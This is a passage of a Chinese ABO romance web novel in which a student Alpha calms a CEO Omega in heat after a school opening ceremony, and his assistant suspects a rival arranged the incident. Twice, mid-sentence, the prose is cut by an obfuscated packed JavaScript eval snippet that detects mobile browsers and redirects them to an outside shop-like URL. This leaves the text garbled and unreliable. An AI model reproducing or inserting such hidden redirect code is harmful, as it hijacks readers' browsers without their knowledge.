家教、培训机构、餐厅服务员、甚至酒吧,没什么专业限制。只要钱多,她都点了发送简历。 谁让原身读的是理工科,还是材料专业。 而她上辈子学的文科,对化学一窍不通。刚穿来时,面对天书似的课程,她恨不得也去跳一次河。 好在原身成绩中不溜,她奋发图强啃了一学期,勉强维持住她的绩点。 也因此,她根本找不到也不想找专业相关的工作。 广撒网后,她沉吟片刻,又下了个租房软件。 刚穿来这个世界时,她不是没想过出来租房住,但学校周边昂贵的租金让她望而却步。 可现在,她必须要尽快搬出来了。 不然,有了这一次经历,每次在那个家里呆着,她都要提心吊胆,生怕又被偷走什么。 等要回来钱,她就摆脱这个名义上的父亲。 原身应该能理解她吧…… 胡思乱想着,软件下载完毕。 木棉先定位学校。 很好,周围的合租房租金都要九千块一个月。 木棉把距离拉远,地铁半小时的范围内,租金要七千五。 她呵呵冷笑两声,直接拉到了十公里。 地铁一小时的通勤,合租均价五千,整租六千起步。 木棉合上手机。 片刻,她重新解锁,退出软件,还专门清空了软件后台。 租不起,根本租不起。 她耷拉着眼皮,白软的脸颊微微鼓起,看着像只生气的松鼠。 这也是偏可爱的外貌带给她的劣势。 无论她多么生气,别人总会先注意到她生理性泛红的皮肤,鼓起来的脸颊,再低低叹一声“真可爱”。 全然不顾她真的在生气。 木棉消沉片刻,又拿起手机,在小地瓜上搜能不能把她爹送进去。 她浏览了几篇图文,略过那些“哄堂大孝”的调侃,目光落在一篇专业的科普文章上。 这个社会极其重视未正式参加工作的子女的监护权,换言之,更偏重保护父母的权利。 且不说无法证明就是她爹偷了她的钱,哪怕能证明,三千两百块钱也远远达不到立案的标准。 如果仅靠这个,她无法要回自己的监护权。 只要监护权在,她想维护自己的权益就极其困难。 木棉点了点屏幕上的“监护权”。 原身是单亲家庭,她妈在她出生后不久便跑了,父母离婚,法院把她判给了父亲。 倘若那个混蛋没有了对她的监护权,她想摆脱他不就容易了? 木棉双眼亮了亮,有些心动。 正要继续搜索信息,纪千柠忽然拐了拐她,暗示她看微聊。 柠檬不酸:【棉棉,今年新生开学典礼邀请的嘉宾好帅!!!】 三个感叹号,足见他的震惊。 木棉点进聊天框,纪千柠已经发来了视频,附带一句话:【点完名咱也去凑凑热闹吧!好帅好A,我腿都软了!】 纪千柠家里中产,见过的帅哥美女没有一千也有几百,谈过的Alpha各个样貌顶尖,能让他直呼好帅的人,木棉还真有些好奇。 她点进视频。 不出五秒,她就后悔了。 视频里的帅哥不是别人,正是柏商霖。 4. 榜样 大礼堂后台,人来人往,老师同学都忙得热火朝天。 新生开学典礼的负责同学生病住院,不在学校,结果准备工作临时出了意外,人手不够。无法,分管的学生会只能临时在二手群里招人帮忙。 木棉长期潜水学校各大二手兼职群,看到200元/天时,手比大脑快,直接私聊,抢下名额。 颜控Omega纪千柠想近距离看帅哥,也跟上来凑热闹。 等进工作群了,木棉后知后觉意识到这次兼职人满得很快,快速跳动的聊天界面填满三个字——柏商霖。 大家似乎都是为了他来的,群里关于柏商霖出场的视频更是多得多,各个角度的都有。 从他出现在校门口、和校领导握手开始,一路到他参观母校、拜访经济学院的老师,都有人拍照拍视频。人气旺得像明星。 木棉被迫看到他各个角度的帅照。 角度不同,出场也各异,唯一相同的就是他冰冷的脸、漠然的眼神。 像一尊冰雕。 这时,一个老师路过,急匆匆点了木棉和纪千柠:“你们两个,弄下座签,按这个顺序放到第一排桌子上。” 听到吩咐,木棉立马关闭群聊,把柏商霖那张冷脸从脑中驱逐,默默开始干活。 “柠柠,帮我把这些纸塞进壳子里吧。” 等了会儿,座签纸迟迟没被接过。只见纪千柠拿着胶带一动不动,眼睛牢牢锁住入口,手里的活是一点没干。 木棉叹气,脸颊微微鼓起,拐了纪千柠一胳膊:“优秀毕业生讲话在后半场,现在典礼都没开始呢,人家那么忙一总裁哪能这会出现。” 纪千柠回神,幽怨托腮:“还以为来这打黑工能早点见到他呢,视频里都那么帅,真人会帅成啥样啊!” 想到视频里那张精致得无可挑剔的脸,纪千柠又星星眼起来,念出群里的口号:“西装皮鞋大背头,宽肩窄腰大长腿,好帅好A一男的!” 木棉:“……” 木棉撇撇嘴,大力撕开座签纸,嘟囔:“说不定视频美颜了呢。” 她虽这样说,却有些心虚。 柏商霖人不太礼貌,眼神也冷,话也不会好好说,但长得确实无可挑剔。 可刚一说完,木棉就有些后悔。 怎么一提到那个Alpha,她就变得这么刻薄……这太不像她了。 根本没给她后悔的机会,纪千柠像是发现了新大陆,一双猫瞳瞪得老大,炯炯发光:“诶,等等!不对劲!” 他敏锐察觉到木棉不一样的语气,露出快快从实招来的表情:“你见过柏商霖?” 木棉低头,佯装没听到,攥着刚整理好的座签,抬脚就往大堂走。 她后悔了,她不该看在两百块钱的份上,来这打工。又一个不察在纪千柠面前,表现出对柏商霖的不满。 木棉有些头疼。 纪千柠好奇心旺盛且极其八卦,对这种消息敏锐极了,注意到一丁点奇怪的地方就会缠上来问,不弄清楚誓不罢休。 可她不想提起昨晚的事。 她走得很急,但因为崴了脚,速度快不起来,纪千柠很快就追上来了。 他很不满,猫瞳簇着一团火苗:“坦白从宽,抗拒从严!棉棉,你是不是背着我喜欢上了别的Alpha!是不是就是柏商霖?!” 他天马行空的脑洞震得木棉头皮发麻。 白软的脸颊急剧升温,像只红透了的苹果,女孩慌忙伸手捂住纪千柠的嘴:“瞎说什么呢!什么乱七八糟的。” 纪千柠还想再说,木棉生怕他说出什么惊悚的话,半真半假开始胡诌:“我只是见过柏商霖一面,惊为天人,从此茶不思饭不想。” 话落,周围忽然安静下来。 饶是木棉再迟钝,她也微妙地感到一丝怪异,就在她说完这句话后。 她正站在大堂和后台交接的位置,背对大堂,周围全是准备典礼的工作人员。 按理说,不会这般静谧。 木棉感到数道视线落在她身上,若有若无的,这种关注让她脸颊又开始升温。 她下意识看向纪千柠。 闯了祸的Omega眼神乱晃,一个劲暗示她后面,嘴巴微张凹成“bai”的发音。 一张冷脸突兀出现在脑中。 木棉眼皮极速抖动了几下,鼻尖闻到一股清淡的雪松味道,有点熟悉。 感受到从头顶凝过来的冷冽视线,木棉浑身颤栗。 死脑,快想想办法啊! 一想到刚刚说了什么,她就尴尬得恨不得原地消失。 或许是急中生智,只见女孩顶着一张熟透了的圆苹果脸,眸光忽闪,嗓音又细又甜:“……从此茶不思饭不想,只想向他学习,也能成为咱学校的优秀毕业生,成为学弟学妹们的榜样。” 凝固的空气终于流动起来,周围渐渐响起人们正常活动的声音。 纪千柠强压着笑,悄悄给她竖了个大拇指。 木棉心里一松,管它听起来是真是假,面子上能糊弄过去就行了!她急忙抱紧座签往回走,有心想避开身后的人,假装什么也没发生。 谁知刚动了动身子,她就听到头顶响起一声极淡的哼笑。 木棉僵住。 她一动不动,攥紧座签的手轻微颤抖,像只见了猫的小老鼠。 她确定,身后的人是柏商霖,绝对是柏商霖。 那个冷着脸装逼的Alpha! 他绝对看出来她不是真心夸他了! 一时间,她脑中预设了无数个柏商霖冷声嗤笑她的场景,和昨晚梦中的他重叠。 毕竟,她是个连她释放信息素都会黑脸呛声的冷酷Alpha。 然而始终没有动静,木棉甚至怀疑自己刚刚听到的闷笑是她的错觉。 这时,一道声音突兀响起:“柏总,怎么来这了?” 接待老师在卫生间没等到柏商霖,出来找了圈才发现他人已经到大礼堂了。循着他的目光看向前面的女生背影,试探问:“……这是?柏总有认识的人在?” 柏商霖从女孩粉色发顶上移开目光,淡淡睨了身侧人一眼,漫不经心:“听到一个学妹把我当成学习的榜样,心里高兴。” 接待老师不知道前因后果,连忙顺着话头恭维了几句。 木棉整个脸都红透了。 柏商霖瞥见她高马尾下泛粉的脖颈,顿了下,垂眼说:“走吧。” 直到两人离开,木棉也没有回过神,脸上的红晕丝毫没有消退的迹象。 纪千柠小心翼翼凑上前,猫咪似的拱了她两下,语气充满愧疚:“对不起棉棉,我也不知道他会突然出现,还听到了……” 他不说还好,一说木棉更觉得社死。 她咬唇,愤愤道:“小心眼的Alpha。” 还拿她逗乐,他绝对是在报复她昨晚嘲笑他坐在爆胎的车里装逼! 她是个胆小的Alpha,做不到当众质问,又深觉自己有错在先,不该背后阴阳怪气说人坏话,这种尴尬只能自己消化。 感到周围人若有若无的打量和窃窃私语,木棉一张小脸皱成一团,浑身热得冒烟,她胡乱放好座签,拽上纪千柠便要离开这里。 被人盯着,纪千柠也不舒服。 他挽上木棉胳膊,一双猫眼瞪得溜圆,挨个回视那些偷瞄他们的人:“看什么看嘛,没见过像我这么好看的Omega是吧!” 接二连三的轻咳声响起,那些凝视的目光终于少了不少。 木棉悄悄捏了下纪千柠的手,无声表达感谢。 纪千柠眨眨眼,笑嘻嘻凑到她耳边,双眼亮晶晶:“棉棉,你喜欢柏商霖是应该的!他刚刚好宠你!” 木棉:“?” 混迹各大小说网站的纪千柠同学满脸憧憬:“他刚才就站在你身后,一直在看你,特别是那声轻笑,好苏好宠!”说完,他忽然停下,仔细打量木棉,“不过,棉棉,两A在一起很困难的……” “停停停!”木棉头皮发麻,心知不跟他说明白昨晚上的事,他是不会放过她了。 木棉叹气,用力点他额头,拿他没办法,一五一十说给他听。 纪千柠猫眼狡黠,露出得逞的笑,一脸兴奋。 在她说起柏商霖莫名其妙朝她冷脸呛声时,纪千柠沉思片刻,想到刚刚柏商霖安静凝视木棉的眼神,怎么想都觉得不对:“会不会你看错或者误会他了?柏总可能身体难受,或者有什么急事,没注意表情管理……” 说着说着,他声音越来越小。 木棉浅哼一声,收回威胁他的目光,语气酸溜溜:“见色忘友,都开始叫他柏总了。” 纪千柠连忙过来哄她。 笑闹片刻,她小声嘟囔,安慰自己:“反正之后也不会再跟他有什么接触了……” 她从小的心愿就是所有人和睦相处,礼貌友好,不要有冲突和竞争。 她不擅长应对社交中的冷脸和敌意,直面时会感到无所适从的窘迫。所以有时候,她表现得过于敏感。 纪千柠的猜测也不无道理。或许昨天晚上,柏商霖并非有意对她露出那种表情,也许他生来就是这样的人。 但无论如何,她之后跟他不会再有交集。 又忙了会,终于完成手上的工作,木棉环视一圈,发现大家都开始摸鱼。 纪千柠也不在,他喜欢热闹,现在估计钻在哪个人堆里听八卦。 而她有过校广播台经验,被老师吩咐照看音响话筒,以防有什么意外。 墙上挂了张大屏,正在实时直播大堂情况。 木棉打了个哈欠,托腮发呆。 开学典礼无聊得很,校领导的讲话千篇一律,听得木棉昏昏欲睡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127638|196160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而每每等她放松下来,想眯一会儿觉,方才当着正主的面说他坏话、还被正主抓到阴阳怪气的窘迫感就会出现,追着她杀。 木棉当即决定做个好学生,尊重老师,认真听他们演讲。 “接下来,让我们用最激烈的掌声,热烈欢迎学校2333届优秀毕业生、现任柏氏集团CEO,柏商霖先生——”主持人音调高昂,难掩亢奋,台下欢呼声热烈,抬头率猛地提高。 木棉:“……” 她不想当好学生了,她想睡觉。 然而,柏商霖的声音像有某种魔力,让人不禁沉浸其中,目光追随他。 他一身深色西装,外套敞开,露出里面同色系的衬衫和马甲。和身上略显随意不羁的西装外套相比,衬衫的纽扣却系到第一颗,严严实实顶住脖颈。 暗红色领带垂下,上扣领带夹,嵌进西装马甲内,严丝合缝,衬得他愈发保守严谨。 西装合身,胸膛微微鼓起,结实饱满。 长腿笔直,尽数包裹进西装裤。 他没有在台上走来走去,将近一米九的身躯笔直立在台中央,手里握着话筒,一脸平静俯视台下新生。 没什么动作,也没什么表情。 沉静清冷,像一抔雪。 他静静叙说自己的经历,回忆大学生活,感谢老师同学,和其他优秀毕业生说的东西没什么区别。只是更谦逊了些。 但木棉就能听进去,台下的同学也能听进去。 不知不觉,她听得入迷,因他讲的笑话眉眼弯弯。 她目光追随着柏商霖,看到讲笑话的人面无表情,就这样冷着脸逗笑了大家。 她也跟着笑,笑着笑着忽然停住,眼前闪过他昨晚冷脸睥睨的样子。 或许跟纪千柠说的一样,他真的不是故意给自己冷脸,而是天生就是这么一个人?毕竟他现在,冷着脸的样子和昨晚几乎如出一辙。 万一误会了他…… 木棉的良心有些不舒服,她又惴惴不安起来。 这时,手机传来震动。 木棉低头,点亮屏幕。 柠檬不酸:【棉棉,惊天大新闻!柏总是Omega!】 柠檬不酸:【他竟然是Omega!】 哐啷一声。 手机径直从她手心滑落。 木棉心里咯噔了一下,完蛋。 发现自己穿成Alpha的第一天,她就立誓绝对不会欺负任何一个Omega。两年来,她一直对Omega爱护有加,彬彬有礼,也成功结交了纪千柠这个Omega好朋友。 可她今天做了什么…… 木棉心如死灰。 手机还在持续震动。 她想了想,点开,不死心问:【真是Alpha?确定?】 纪千柠也很震惊,但他是惊喜的、兴奋的震惊:【柏总好A一O,妈妈我要弯了!】 相比于Alpha版柏商霖,他似乎对Omega版本的柏商霖更加崇拜。 【我是谁呀,消息绝对保真!】 【也是奇怪,我搜柏总的时候,各种新闻采访都有,但是都没提他Omega的事。况且他那么一个身材比例极好的双开门,我们就都默认他是Alpha了。】 【我不是跟他们聊八卦嘛,就听到隔壁班有人家里跟柏氏有合作,说他是Omega,而且他不喜欢别人提到这个。】 【我好奇嘛,就去搜了,结果怎么着,出现很多讨论他性别的帖子,这些之前半点儿没刷到!】 纪千柠噼里啪啦好几条消息发来,还发了许多条链接佐证。 木棉眨眨眼,自己试了遍,发现果真如此。 通过算法引导用户接收的信息,就可以刻意回避掉关于他性别的讨论。 只是平白无故的,干嘛要花那么多钱更改算法,让大家潜意识里不关注、默认他是Alpha呢? 难道他不喜欢自己Omega的身份?更想当Alpha? 直到柏商霖的演讲结束,木棉也没想明白。 她望向大屏中央西装笔挺、高大健壮的人,反倒有了种同病相怜的滋味。 她总是被人当成Omega,他总是被人当成Alpha…… 木棉不禁生出些亲近的意味来。 等到柏商霖下台,她收回视线,不再关注新生典礼,点进boss直骗继续海投简历。 早上投的一批有的已经有了回复,她制作成Excel,一一筛选。 等她忙完,典礼也接近尾声。 木棉发消息知会纪千柠一声后,准备趁现在人少先离开。 刚放下手机,她就闻到一股浓郁的雪松冷香,紧紧缠在她鼻尖,体内涌起一阵燥热。 她下意识抬头看去,大礼堂后台门口却空无一人,眼前闪过一片深色衣角。 5. 红晕 明明身处热闹的典礼,夏末的燥热也尚未散去。 但莫名的,木棉感到扑面而来的冷气。 仿佛置身大雪纷飞的松树林,新鲜松木的苦味混杂着雪花的冷,淡到尚未嗅到木香,已经被铺天盖地的雪淹没,只余冷冽。 沁人心脾,又透彻入骨。 木棉打了个激灵。 和鼻尖馥郁的冷不同,她体内源源不断涌起的却是滚烫的热,烫得她满脸通红,双眼迷离。 顶着残存的一点理智,木棉死命掐紧手心,用疼痛换回理智。 穿来时恶补的生理知识发挥作用,她迅速判断出有Omega陷入发情期了。而且是个信息素品级很高的Omega。 她咬住下唇,直到口中尝到淡淡的血腥气,才勉强清醒。 第一时间,她撕了一个抑制贴,加固贴上后颈腺体。 恰逢典礼结束,这里都是人,Alpha和Omega的数量更是数不胜数。 一旦引起信息素暴动,后果不堪设想。 那个Omega很危险! 木棉不是个多管闲事的人,相反,她边界感很强,一贯秉持多一事不如少一事。 但出事的人是个Omega。 上辈子,她曾痛恨自己为什么不是个男的,也曾不着边际地许过愿望:如果她成为男人,一定会尽己所能保护女孩子,不开黄色玩笑,不因性别优势洋洋得意,发自内心尊重她们。 木棉咬了咬牙,果断背上书包冲出大堂后台,逆着人流寻找雪松气味的源头。 他似乎曾在后台门口短暂停留了一下,这里的冷香格外浓郁。 等她出来了,才发现空气中味道极淡。 老师同学正在有序离场,一片正常,他们好像并没有闻到Omega信息素。 木棉不禁放缓了脚步。 难道刚刚,她鼻子失灵了? 根本没有Omega发情? 她疑惑地吸吸鼻子,只嗅到一股淡淡的冷气,像雪。 犹豫片刻,木棉转身,准备离开。 倘若刚刚真的有Omega在发情期,现在气味变得这么淡,恐怕他已经找到解决办法了。 刚刚积攒的勇气和冲动如潮水般退去,木棉恢复了往常的样子,慢吞吞往宿舍走去。 没走几步,她又闻到了直冲过来的雪松冷香。 缠绕着,包裹着,紧紧锁着她。 木棉眼前一晃,脸颊温度开始攀升。 Alpha的本能占据上风,理智被驱赶,她无意识跟着香气走,走到隔壁的教学楼,在走廊尽头的阶梯教室门前停下。 手搭在门上,冰冷的门把手换回了木棉的理智。 她瞬间清醒过来。 被本能控制的感觉让她觉得刚刚的自己如同野兽,木棉猛地松开手,后退了一大步。 一门之隔,她闻到了里面浓郁的信息素味道。 ——这里面有一个正处于发情期的Omega。 终于找到人,木棉当即拨打AO管理中心的紧急电话,然而不知道为什么,电话始终显示忙线未接听。 木棉皱眉。 她怎么这么倒霉?从昨天一直水逆到今天。 木棉咬住下唇,在离开和进门之间纠结。 这个Omega的信息素太香了,诱得人想咬一口,刚才她都险些丧失理智。万一她进去后,反倒影响到他怎么办? 一番纠结,木棉最终还是决定进去看看。 她硬着头皮从书包里拿出口罩,又给自己注射了一支抑制剂。 全副武装后,她攥紧Omega抑制剂,重新背上书包。 因为纪千柠毛手毛脚,经常忘记自己的发情期,她总是随身携带Omega抑制剂。 没想到这次派上用场了。 进门前,木棉再拨了一次管理中心的应急电话,听到熟悉的忙音后,她放下手机推门进去,快速寻找Omega。 封闭教室内,雪松的味道逸散在空气中,更加浓郁,甚至有些呛鼻。 里面很安静。 木棉捂住口鼻,小声叫了下:“你好?” “有人吗?” 一片安静。 木棉皱眉,难道找错了? 她屏住呼吸,竭力抵挡Alpha的生理本能,保持理智。从教室末尾走到讲台,她终于在讲桌下看到了一片深色西装。 这是…… 尚未来得及作出反应,讲桌下的狭小空间内,蜷缩在里面的衣角主人昏昏沉沉抬头,眯眼打量。 在看清木棉的下一刻,他霎时冷脸:“出去。” 木棉呆在原地,一动不动。 她僵硬张着嘴,喉咙里的那句“需要帮忙吗”却怎么也说不出来。 她没想到,陷入发情期的Omega会是柏商霖。 ——那个高高在上、冷脸斜睨人的柏商霖。 此刻他却如此狼狈。 雪松冷香从他身上源源不断地溢出来,感知到有Alpha靠近,气味愈发浓郁,紧紧缠绕住木棉。 柏商霖冷白的皮肤染满红晕,眼镜不知所踪,露出冷锐镜片下泛着水光的迷离双眼。因为近视,此刻他眯着眼,眼神游离。 他手里揽着脱下来的西装外套,手背青筋暴起,牢牢遮在双腿之间。和演讲时的他相比,唯一相同的一点便是里面那件衬衫,纽扣仍然牢牢系到第一颗,散发出保守严谨的信号。和他脸上的红晕截然相反。 他冷冷看着她,眼里淬着冰。 就像昨天晚上。 木棉后知后觉地意识到,昨天晚上在柏商霖的车边,她也闻到了这股雪松气味。 ——这是他的信息素味道。 所以,那天他冷冰冰打量她,一副看到令人生厌的东西的模样,其实是因为他处于发情期,因为她释放的Alpha信息素,导致他身体状况更差。 他并非刻意冷脸。 而是为了压制身体反应,特意摆出冷脸驱逐她。就像现在这样,无差别抗拒所有Alpha。 当木棉意识到这点后,歉意汹涌而来。 她是个是非分明、讲礼貌的Alpha。 看向蜷缩在讲台上、分外可怜的Omega,不顾他冷冰冰的目光,木棉按住自己兴奋得发烫的腺体,面不改色又给自己扎了针抑制剂。 木棉回忆教科书上关于这种情况的处理办法,小脸涨得通红,语气却格外冷静:“先注射抑制剂。” 她蹲下身,把一直攥在手心里的抑制剂递给他。因为紧张,她的手心已经沁满了汗水。 柏商霖不肯接,漆黑双眸已经有些涣散。 木棉心里着急:“你的助理呢,电话是什么?我联系他。” 沉默了很久,柏商霖垂眸,雾蒙蒙的双眼轻飘飘落在她身上,嘶哑道:“去拿抑制剂了。” 近距离听到他的声音,木棉晃了下神。短暂几秒,她回神,理解了他先前的抗拒。 霸总嘛,总是很警惕,不用陌生人给的抑制剂也很正常。 但现在不是解释这些的时候,木棉语速极快:“我提前拨打了AO管理中心的应急电话,但无法拨通。”快速将前因解释了下,为后面要说的做铺垫:“而你现在的情况很危险,再拖下去大脑会受损。” 木棉深吸一口气,只觉脸上燃起一片热浪。她忍着羞窘:“我是Alpha,可以帮你暂时缓解。” 柏商霖一动不动,像没有听到。 木棉怔了怔,提高音量准备再重复一遍。可刚吐出一个字,她就听到男人低哑的、透着浓浓厌恶的讽笑:“滚出去。” 木棉:……? 木棉茫然眨眼,没明白这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127639|196160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人为什么突然生气。 被人当面嘲讽,木棉感到难堪,但这次她没逃开。 尚带着婴儿肥的稚嫩Alpha不顾柏商霖的抗拒,蹲到他面前,近乎和他一起挤在狭小的讲台下。 接着,她撕开后颈粘着的两片抑制贴,软甜的水果糖味道从她身上溢出,温柔包裹住浑身是刺的冷酷Omega。 木棉夺过柏商霖手里的西装外套,搭在他手臂上,接着她双手覆盖上去,隔着西装钳制住他的手臂,不让他挣开。 她屏住呼吸,抵挡Omega身上香甜的味道,耐心安抚:“等温助理回来,我就放开你。” 嘴上甜甜哄着,她手劲却极大,浑身无力的柏商霖根本挣扎不开。 也不想挣扎。 后颈酸疼的腺体像是久经沙漠、终于寻到水的鱼,彻底舒展开。他久违地感到放松。 体内的燥热也因此缓解了不少。 柏商霖睫毛颤了颤,微微掀开眼皮,扫了眼旁边的女孩。 她显然没有认出他,目光澄澈陌生。 许是蹲久了腿麻,她跪坐在地,蜷成小小一团,一副如临大敌的模样紧紧捆着他的手,不敢松动半分。 隔着薄薄的西装外套,他能感受到女孩柔软微凉的手,像软绵绵的棉花糖。 粉色长发扎成高马尾,浸泡在金澄澄的阳光中,染上一圈光晕。 她咬住下唇,白软的脸颊微微鼓起,卯足了劲儿般,清甜的果糖甜味从她身上冒出,软绵绵圈住他,柔柔安抚近乎干涸的Omega腺体。 柏商霖罕见的怔愣。 Omega处于发情期时,除了注射抑制剂外,还可以让Alpha帮忙安抚。 安抚方法有二,一种是标记,临时标记和终身标记都能实现安抚Omega的效果;一种是单纯释放Alpha信息素,也可以起到缓解作用。 然而,Alpha是享受型动物,有Omega在身边渴求爱抚,他们怎么会忍住不标记?更有恶劣的Alpha会故意不释放信息素,饶有兴味等Omega哀求。 以至于很多人都忘了,Alpha缓解Omega发情期的方法可以不通过标记。 包括他,也忘了。 刚才,他也以为女孩嘴里的缓解办法是标记…… 看着女孩鼓着腮帮子、恨不得全身使劲的模样,柏商霖抿抿唇:“……抱歉。” 木棉呆了呆,迟钝仰头,看向声源,不可置信地张开嘴,情不自禁:“哈?” 柏商霖说完,就安静下来,偏头闭眸。 因为受到Alpha信息素安抚,他脸上的红晕退去不少,恢复了一贯的冷然。 木棉险些以为自己听错了。 她慢吞吞哦了声,右颊溢出一颗漂亮的梨涡,双眼亮晶晶的:“没关系!昨天是我不好,释放信息素影响到你,这样我们就……扯平了吧?” 她问得有些小心翼翼,脸颊又开始泛红。 柏商霖掀眸,看向一脸紧张的女孩,沉默良久,他短促地“嗯”了声。 木棉眨巴眨巴眼,肉眼可见得高兴起来,她心里终于舒坦了。 她这人就这样,有错误就要承认,有亏欠就要弥补,一板一眼地守着自己给自己定的规矩。 柏商霖见她笑得圆眼弯弯,粉白的腮帮子鼓起,搭在腿上的手动了动。 这时,一阵急促的脚步声响起,教室门被人从外面大力推开。 西装革履的助理温言跑得满头是汗,喘着粗气三两步跃至讲台,然后愣了:“这、这这这是?” 他一眼认出老板旁边的女孩就是昨晚上那个笑得很甜、打人很狠的小姑娘,但这不是重点,重点是她怎么在这? 温言急忙看向自家老板,目光相触的第一下,他又愣了。 柏总看他的眼神,为什么这么冷? 6. 谢礼 顶着老板冷冽的目光,温言下意识低头看去。 他这才注意到,这胆大包天的小姑娘不仅离发情期的老板特别近,还上手捆住了老板! 温言眼前发黑,深觉自己这个月奖金不保。 难怪老板刚才沉着脸瞥他,定是怪他办事效率低下,让他被迫和最厌恶的Alpha同处一室。 木棉感到晕乎乎的。 见柏商霖的助理终于过来,她慢吞吞松开钳制他的手,撑地站起来。起来时踉跄了两步,仓促抓住身后的黑板,才站稳。 她借力靠上休息,缓缓将信息素收回。 好虚……比起昨晚上碾压那两个Alpha,安抚柏商霖所需要的信息素要多得多…… 木棉闭眼,缓了缓。 柏商霖伸出来的手悬在空中,见女孩靠着黑板站稳了,他面无表情放下手,转而站起来。 腿软得一塌糊涂,起身时险些跌回去,衣服上的冰凉触感让他狠狠拧眉。 柏商霖脸色难看得可怕。 后颈腺体又开始泛起酸疼。 享受过Alpha信息素的安抚后,那种干涸的枯竭感,让处于发情期的他难以忍受。 温言连忙上前搀扶,瞳孔深处的震荡却无法掩盖。 就在刚刚,他家不近A色、清心寡欲的老板,竟然主动伸手想扶一下Alpha? 他垂头想遮住脸上的惊讶,冷不丁的,他又看到了老板手腕上的一圈红痕。 这、这这是?温言慌忙闭眼,默念自己什么也没看到。 片刻,温言又恢复成往常的温大助理,条理清晰:“柏总,司机就在楼下,附近没有人,我们现在可以下去。您放心,您一直注射的强效抑制剂延缓了信息素扩散,只有匹配度高的人才能闻到,所以并没有引起动乱。” 说着,他递过两支透明的抑制剂,示意他注射,然而柏商霖却迟迟没有接过。 听到说话声,木棉睁开眼,还是有些乏累。 她小心偷瞄了眼沉默的柏商霖,心道难怪一路上学校里的Alpha跟平时一样,原来他们根本没闻到他的信息素。 好神奇的抑制剂。 见柏商霖不接过也不解释,只用那双眼沉沉看着她。 木棉头顶冒出一串问号,张嘴指向自己,圆眼瞪大,明明白白透出一个信息:“我说?” 柏商霖还是没吭声,就那样看着她。 无奈,木棉清了下嗓子,慢吞吞解释:“温助理,我刚刚用Alpha信息素安抚了柏总,暂时不需要注射抑制剂了。”不知道为什么,她有点不太敢看柏商霖。 说完,她垂着头,礼貌朝柏商霖弯了弯腰,告辞:“刚才举止多有冒犯,还请您不要放在心上。如果没什么事的话,我先走了。” 木棉侧身,朝满脸震惊的温言点头示意了下,往教室门口走去。 还没走两步,柏商霖叫住了她。 他似乎尚未从刚才的信息素纠缠中回过神,嗓音微哑:“多谢。” 顿了下,他继续:“中午有时间?请你吃饭。” 刚刚冷静下来的温言,顿时又瞪大了眼。 闻声,木棉一怔,转身朝柏商霖挥了挥手,小圆脸粉粉的,一双圆眼弯成月牙:“不啦。” “柏总,注意休息。”说完,她推开教室门,踩着轻盈的脚步走远。 转眼,空旷的阶梯教室内,只剩下柏商霖和温言二人。 温言左看看柏商霖,右看看早已没影的小Alpha,根本琢磨不透老板的心思。 见这里再无外人,他把一直提在手上的袋子递过去,垂眸不敢多看:“柏总,新西装。” 倚靠着讲台,柏商霖缓了缓。 随着Alpha的离开,水果糖的甜味也变得越来越淡。他感到些微的不适应。 手里还攥着脏了的西装外套,上面残余的温度都在提醒他,刚刚有个Alpha耐心安抚了他。 比他年纪小很多,稚嫩的小脸说话时笑得甜甜的,会鼓起肉乎乎的脸颊,右脸还会溢出一颗小梨涡,朝气蓬勃。 第一次,他感到发情期也没有那么难熬。 柏商霖垂下眼皮,遮住眸中暗光。 良久,他吩咐温言:“给她送条跌打损伤药,再订些温补的餐品,送到她宿舍。” “她受伤了?”温言惊讶,他没看出来。 柏商霖直起身子,大步走出教室,“脚崴了。” 温言应下,忙跟上老板,说起正事:“昨天您注射过两支抑制剂,演讲前您又注射了一支,按理说不可能这么快再发情。而且,属下刚才注意到学校里有不少记者媒体。这些会不会都是人为……” “嗯。”柏商霖淡淡应了声,“AO管理中心的应急电话打不通。” 那个粉发小姑娘第一时间打了管理中心的电话,但一直占线。 温言明白了,严肃道:“我这就派人去查一遍您这两天使用的抑制剂,再查一下管理中心今天值班的人。” 柏商霖嗯了声,语气随意:“直接查任达欧吧,更快。” 温言一怔,很快,他三两个电话把任务吩咐下去。 刚挂掉电话,他脑中灵光一现,想通了:“任总是想逼迫您在公共场合陷入发情期,引发动乱?他还提前打点了媒体,一旦出事就报道出去,影响您的名声。这样,董事长的位置他就更有优势……?” 柏商霖懒懒瞥他一眼,没什么表情:“终于想明白了。” 温言挠头,精英做派的脸上难得露出一丝青涩。 他研究生一毕业就跟着柏商霖,如今已有四年。 明明和柏商霖差不多大,温言却时常惊叹他敏锐的商业直觉和果断的决策风格。 工作中接触越多,他越崇拜柏总。 无论他是Alpha,还是Omega,他都是一个值得追随的老板。 猜测得到柏商霖默认后,温言气愤不已:“这手段也太低劣了,竟然利用Omega的生理劣势……” 手段不高明,但着实有用。 一旦他在高校引发信息素暴动,纵有万般理由,舆论也不会站在他这边。那么,关于他以Omega之身成为柏氏集团CEO的质疑声将卷土重来。 柏商霖沉下脸,眼底暗流涌动。 他这个姑父,真把自己当个人物了。 若不是今天再次遇到她,说不定他真会栽个跟头。 思索片刻,他吩咐温言:“再去查查刚才那个Alpha。” 正巧路过垃圾桶,柏商霖随手扔掉脏了的西装外套,目光沉沉,补充:“事无巨细。” “您是怀疑……”温言怔了下,应是。 